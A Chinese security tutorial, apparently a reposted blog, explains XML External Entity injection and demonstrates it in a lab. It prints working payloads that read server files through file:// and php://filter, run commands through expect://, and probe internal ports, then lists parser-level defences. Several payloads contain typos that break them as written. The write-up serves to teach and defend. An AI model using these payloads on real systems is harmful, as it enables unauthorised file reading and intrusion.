XXE(xml外部实体注入)

XXE(XML External Entity)是指xml外部实体攻击漏洞

XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

一、xml基础

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

(图片来源: 未知攻焉知防——XXE漏洞攻防.)

DTD(文档类型定义)

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明:<!DOCTYPE 根元素 [元素声明]> 
外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM "文件名">
DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部实体声明:<!ENTITY 实体名称 "实体的值">
外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">

二、漏洞原理

XML文件的解析依赖libxml库,而libxml2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的xml文件时未对xml文件引用的外部实体做合适的处理,并且实体的URL支持file://和php://等协议,攻击者可以在xml文件中声明URI指向服务器本地的实体造成攻击。

在这里插入图片描述

(图片来源: What is XML External Entity (XXE)?.)

三、攻击方式

xml外部实体注入,需要引入外部实体,方式有很多种。此处我们使用vuln漏洞环境中的php_xxe进行演示:
运行环境:
php 7.0.30
libxml 2.8.0

1、读取任意文件

(1)使用file协议
payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///tc/passwd">]>
<root>
<name>&xxe;</name>
</root>

运行SimpleXmlElement.php(在该php中,使用SimpleXmlElement类解析body)
使用burp拦截进行注入,响应如下:
在这里插入图片描述

(2)使用php协议
payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>

运行SimpleXmlElement.php,使用burp拦截进行注入,获取index.php页面内容的base64编码。响应如下:
在这里插入图片描述

2、执行系统命令

在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。

payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>

在此环境中没有安装expect扩展,我们就不演示这个了。

3、端口探测

payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://10.175.237.181:80">]>
<root>
<name>&xxe;</name>
</root>

响应如下:
在这里插入图片描述
可以看到连接被拒绝,说明80端口是关闭的。

4、攻击内网网站

远程命令执行或DOS等,如:billion laughs 攻击。
除了上述简单的攻击方式外,还有针对Blind XXE(需要依赖于是否可以加载外部文件或攻击者托管文件)的漏洞利用,当存在漏洞的服务端被防火墙把出站流量阻拦,我们应该如何绕过呢?安全研究员Arseniy Sharoglazov分享了他自己非常有创意的一种XXE利用方法,那就是通过对本地DTD文件的利用去绕过防火墙的检测机制。

在这里插入图片描述
(文章链接: Exploiting XXE with local DTD files.)

五、如何防御

1、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、过滤用户提交的XML数据
<!DOCTYPE 
<!ENTITY
SYSTEM
PUBLIC
参考文章:

https://security.tencent.com/index.php/blog/msg/69
https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/
https://www.cnblogs.com/Rightsec/p/10263454.html

猜你喜欢

转载自blog.csdn.net/m0_37711941/article/details/88388097